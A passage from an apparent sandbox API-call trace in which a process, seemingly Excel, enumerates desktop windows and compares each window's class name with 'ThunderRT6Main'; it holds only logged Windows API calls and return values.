lpdwProcessId=0x0) returned 0x79c [0156.430] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x100fe [0156.430] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0156.430] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0156.430] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.430] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x100fa [0156.430] GetClassNameA (in: hWnd=0x100fa, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0156.430] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0156.430] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.430] GetWindow (hWnd=0x100fa, uCmd=0x2) returned 0x100ec [0156.430] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0156.430] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0156.430] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.430] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x100e2 [0156.430] GetClassNameA (in: hWnd=0x100e2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0156.430] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0156.430] GetWindowThreadProcessId (in: hWnd=0x100e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.430] GetWindow (hWnd=0x100e2, uCmd=0x2) returned 0x100dc [0156.430] GetClassNameA (in: hWnd=0x100dc, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0156.430] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0156.430] GetWindowThreadProcessId (in: hWnd=0x100dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.430] GetWindow (hWnd=0x100dc, uCmd=0x2) returned 0x200d6 [0156.430] GetClassNameA (in: hWnd=0x200d6, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0156.430] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0156.430] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.430] GetWindow (hWnd=0x200d6, uCmd=0x2) returned 0x100be [0156.430] GetClassNameA (in: hWnd=0x100be, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0156.430] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0156.430] GetWindowThreadProcessId (in: hWnd=0x100be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.430] GetWindow (hWnd=0x100be, uCmd=0x2) returned 0x500b4 [0156.430] GetClassNameA (in: hWnd=0x500b4, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0156.430] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0156.430] GetWindowThreadProcessId (in: hWnd=0x500b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.430] GetWindow (hWnd=0x500b4, uCmd=0x2) returned 0x100aa [0156.430] GetClassNameA (in: hWnd=0x100aa, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0156.430] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0156.430] GetWindowThreadProcessId (in: hWnd=0x100aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x758 [0156.430] GetWindow (hWnd=0x100aa, uCmd=0x2) returned 0x100a6 [0156.431] GetClassNameA (in: hWnd=0x100a6, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0156.431] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0156.431] GetWindowThreadProcessId (in: hWnd=0x100a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.431] GetWindow (hWnd=0x100a6, uCmd=0x2) returned 0x1009a [0156.431] GetClassNameA (in: hWnd=0x1009a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0156.431] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0156.431] GetWindowThreadProcessId (in: hWnd=0x1009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.431] GetWindow (hWnd=0x1009a, uCmd=0x2) returned 0x10086 [0156.431] GetClassNameA (in: hWnd=0x10086, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0156.431] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0156.431] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.431] GetWindow (hWnd=0x10086, uCmd=0x2) returned 0x10082 [0156.431] GetClassNameA (in: hWnd=0x10082, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0156.431] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0156.431] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.431] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x10060 [0156.431] GetClassNameA (in: hWnd=0x10060, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0156.431] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0156.431] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0156.431] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x10062 [0156.431] GetClassNameA (in: hWnd=0x10062, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.431] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.431] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0156.431] GetWindow (hWnd=0x10062, uCmd=0x2) returned 0x10050 [0156.431] GetClassNameA (in: hWnd=0x10050, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0156.431] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0156.431] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0156.431] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x10058 [0156.431] GetClassNameA (in: hWnd=0x10058, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.431] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.431] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0156.431] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10054 [0156.431] GetClassNameA (in: hWnd=0x10054, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0156.431] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0156.431] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.431] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004a [0156.431] GetClassNameA (in: hWnd=0x1004a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0156.431] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0156.431] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0156.431] GetWindow (hWnd=0x1004a, uCmd=0x2) returned 0x20046 [0156.431] GetClassNameA (in: hWnd=0x20046, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0156.431] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0156.431] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0156.431] GetWindow (hWnd=0x20046, uCmd=0x2) returned 0x10048 [0156.431] GetClassNameA (in: hWnd=0x10048, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.431] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.431] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0156.432] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x30040 [0156.432] GetClassNameA (in: hWnd=0x30040, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0156.432] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0156.432] GetWindowThreadProcessId (in: hWnd=0x30040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0156.432] GetWindow (hWnd=0x30040, uCmd=0x2) returned 0x10044 [0156.432] GetClassNameA (in: hWnd=0x10044, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0156.432] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0156.432] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x658 [0156.432] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x10042 [0156.432] GetClassNameA (in: hWnd=0x10042, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.432] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.432] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0156.432] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x1005e [0156.432] GetClassNameA (in: hWnd=0x1005e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0156.432] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0156.432] GetWindowThreadProcessId (in: hWnd=0x1005e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0156.432] GetWindow (hWnd=0x1005e, uCmd=0x2) returned 0x1005c [0156.432] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0156.432] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0156.432] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0156.432] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x20074 [0156.432] GetClassNameA (in: hWnd=0x20074, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0156.432] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0156.432] GetWindowThreadProcessId (in: hWnd=0x20074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0156.432] GetWindow (hWnd=0x20074, uCmd=0x2) returned 0x0 [0156.432] IMalloc:Alloc (This=0x7fefe465380, cb=0x18) returned 0x6110c30 [0156.432] IMalloc:Free (This=0x7fefe465380, pv=0x6110c30) [0159.613] GetCurrentThreadId () returned 0xa30 [0159.613] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0159.613] GetDesktopWindow () returned 0x10010 [0159.613] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x100b2 [0159.613] GetClassNameA (in: hWnd=0x100b2, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0159.614] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0159.614] GetWindowThreadProcessId (in: hWnd=0x100b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.614] GetWindow (hWnd=0x100b2, uCmd=0x2) returned 0x100b0 [0159.614] GetClassNameA (in: hWnd=0x100b0, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.614] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.614] GetWindowThreadProcessId (in: hWnd=0x100b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.614] GetWindow (hWnd=0x100b0, uCmd=0x2) returned 0x10098 [0159.614] GetClassNameA (in: hWnd=0x10098, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.614] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.614] GetWindowThreadProcessId (in: hWnd=0x10098, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.614] GetWindow (hWnd=0x10098, uCmd=0x2) returned 0x1009c [0159.614] GetClassNameA (in: hWnd=0x1009c, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.614] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.614] GetWindowThreadProcessId (in: hWnd=0x1009c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.614] GetWindow (hWnd=0x1009c, uCmd=0x2) returned 0x200a0 [0159.614] GetClassNameA (in: hWnd=0x200a0, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.614] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.614] GetWindowThreadProcessId (in: hWnd=0x200a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.614] GetWindow (hWnd=0x200a0, uCmd=0x2) returned 0x1007e [0159.614] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.614] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.614] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.614] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10094 [0159.614] GetClassNameA (in: hWnd=0x10094, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.614] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.614] GetWindowThreadProcessId (in: hWnd=0x10094, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.614] GetWindow (hWnd=0x10094, uCmd=0x2) returned 0x10096 [0159.614] GetClassNameA (in: hWnd=0x10096, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.614] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.614] GetWindowThreadProcessId (in: hWnd=0x10096, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.614] GetWindow (hWnd=0x10096, uCmd=0x2) returned 0x10076 [0159.614] GetClassNameA (in: hWnd=0x10076, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0159.614] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0159.614] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.614] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10070 [0159.614] GetClassNameA (in: hWnd=0x10070, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0159.614] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0159.614] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.615] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x10056 [0159.615] GetClassNameA (in: hWnd=0x10056, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.615] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.615] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.615] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1005a [0159.615] GetClassNameA (in: hWnd=0x1005a, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0159.615] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0159.615] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.615] GetWindow (hWnd=0x1005a, uCmd=0x2) returned 0x10142 [0159.615] GetClassNameA (in: hWnd=0x10142, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="ATL:000007FEF32B52C0") returned 20 [0159.615] lstrcmpA (lpString1="ATL:000007FEF32B52C0", lpString2="ThunderRT6Main") returned -1 [0159.615] GetWindowThreadProcessId (in: hWnd=0x10142, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0159.615] GetWindow (hWnd=0x10142, uCmd=0x2) returned 0x1013c [0159.615] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.615] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.615] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0159.615] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x1013a [0159.615] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0159.615] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0159.615] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0159.615] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10112 [0159.615] GetClassNameA (in: hWnd=0x10112, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.615] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.615] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0159.615] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10104 [0159.615] GetClassNameA (in: hWnd=0x10104, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.615] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.615] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.615] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x100f2 [0159.615] GetClassNameA (in: hWnd=0x100f2, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.615] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.615] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.615] GetWindow (hWnd=0x100f2, uCmd=0x2) returned 0x100ca [0159.615] GetClassNameA (in: hWnd=0x100ca, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.615] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.615] GetWindowThreadProcessId (in: hWnd=0x100ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.615] GetWindow (hWnd=0x100ca, uCmd=0x2) returned 0x500ba [0159.615] GetClassNameA (in: hWnd=0x500ba, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.616] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.616] GetWindowThreadProcessId (in: hWnd=0x500ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.616] GetWindow (hWnd=0x500ba, uCmd=0x2) returned 0x100c2 [0159.616] GetClassNameA (in: hWnd=0x100c2, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0159.616] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0159.616] GetWindowThreadProcessId (in: hWnd=0x100c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.616] GetWindow (hWnd=0x100c2, uCmd=0x2) returned 0x10236 [0159.616] GetClassNameA (in: hWnd=0x10236, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0159.616] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0159.616] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.616] GetWindowLongA (hWnd=0x10236, nIndex=-16) returned -1946157056 [0159.616] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0159.616] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0159.616] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x201ae [0159.616] GetClassNameA (in: hWnd=0x201ae, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.616] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.616] GetWindowThreadProcessId (in: hWnd=0x201ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.616] GetWindowLongA (hWnd=0x201ae, nIndex=-16) returned -1946157056 [0159.616] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0159.616] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0159.616] GetWindow (hWnd=0x201ae, uCmd=0x2) returned 0x20262 [0159.616] GetClassNameA (in: hWnd=0x20262, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0159.616] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0159.616] GetWindowThreadProcessId (in: hWnd=0x20262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb84 [0159.616] GetWindow (hWnd=0x20262, uCmd=0x2) returned 0x20270 [0159.616] GetClassNameA (in: hWnd=0x20270, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.616] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.616] GetWindowThreadProcessId (in: hWnd=0x20270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb94 [0159.616] GetWindow (hWnd=0x20270, uCmd=0x2) returned 0x302dc [0159.616] GetClassNameA (in: hWnd=0x302dc, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0159.616] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0159.616] GetWindowThreadProcessId (in: hWnd=0x302dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.616] GetWindowLongA (hWnd=0x302dc, nIndex=-16) returned -1946157056 [0159.616] GetWindowLongPtrA (hWnd=0x302dc, nIndex=-6) returned 0x7fee5bf0000 [0159.616] IsWindowEnabled (hWnd=0x302dc) returned 0 [0159.616] GetPropA (hWnd=0x302dc, lpString=0xc131) returned 0x1 [0159.616] RemovePropA (hWnd=0x302dc, lpString=0xc131) returned 0x1 [0159.616] EnableWindow (hWnd=0x302dc, bEnable=1) returned 1 [0159.616] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0xa, wParam=0x1, lParam=0x0) returned 0x0 [0159.617] GetWindow (hWnd=0x302dc, uCmd=0x2) returned 0x302c2 [0159.617] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0159.617] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0159.617] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.617] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned 382664704 [0159.617] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0159.617] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0159.617] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x30242 [0159.617] GetClassNameA (in: hWnd=0x30242, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0159.617] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0159.617] GetWindowThreadProcessId (in: hWnd=0x30242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.617] GetWindowLongA (hWnd=0x30242, nIndex=-16) returned -1778384896 [0159.617] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0159.617] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0159.617] GetWindow (hWnd=0x30242, uCmd=0x2) returned 0x40244 [0159.617] GetClassNameA (in: hWnd=0x40244, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0159.617] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0159.617] GetWindowThreadProcessId (in: hWnd=0x40244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.617] GetWindowLongA (hWnd=0x40244, nIndex=-16) returned -1778384896 [0159.617] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0159.617] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0159.617] GetWindow (hWnd=0x40244, uCmd=0x2) returned 0x20288 [0159.617] GetClassNameA (in: hWnd=0x20288, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0159.617] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0159.617] GetWindowThreadProcessId (in: hWnd=0x20288, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.617] GetWindowLongA (hWnd=0x20288, nIndex=-16) returned -1778384896 [0159.617] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0159.617] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0159.617] GetWindow (hWnd=0x20288, uCmd=0x2) returned 0x20286 [0159.617] GetClassNameA (in: hWnd=0x20286, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0159.617] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0159.617] GetWindowThreadProcessId (in: hWnd=0x20286, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.617] GetWindowLongA (hWnd=0x20286, nIndex=-16) returned -1778384896 [0159.617] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0159.617] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0159.617] GetWindow (hWnd=0x20286, uCmd=0x2) returned 0x30252 [0159.617] GetClassNameA (in: hWnd=0x30252, lpClassName=0x20b6c0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0159.617] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0159.617] GetWindowThreadProcessId (in: hWnd=0x30252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.617] GetWindowLongA (hWnd=0x30252, nIndex=-16) returned 1149272145 [0159.617] GetWindow (hWnd=0x30252, uCmd=0x2) returned 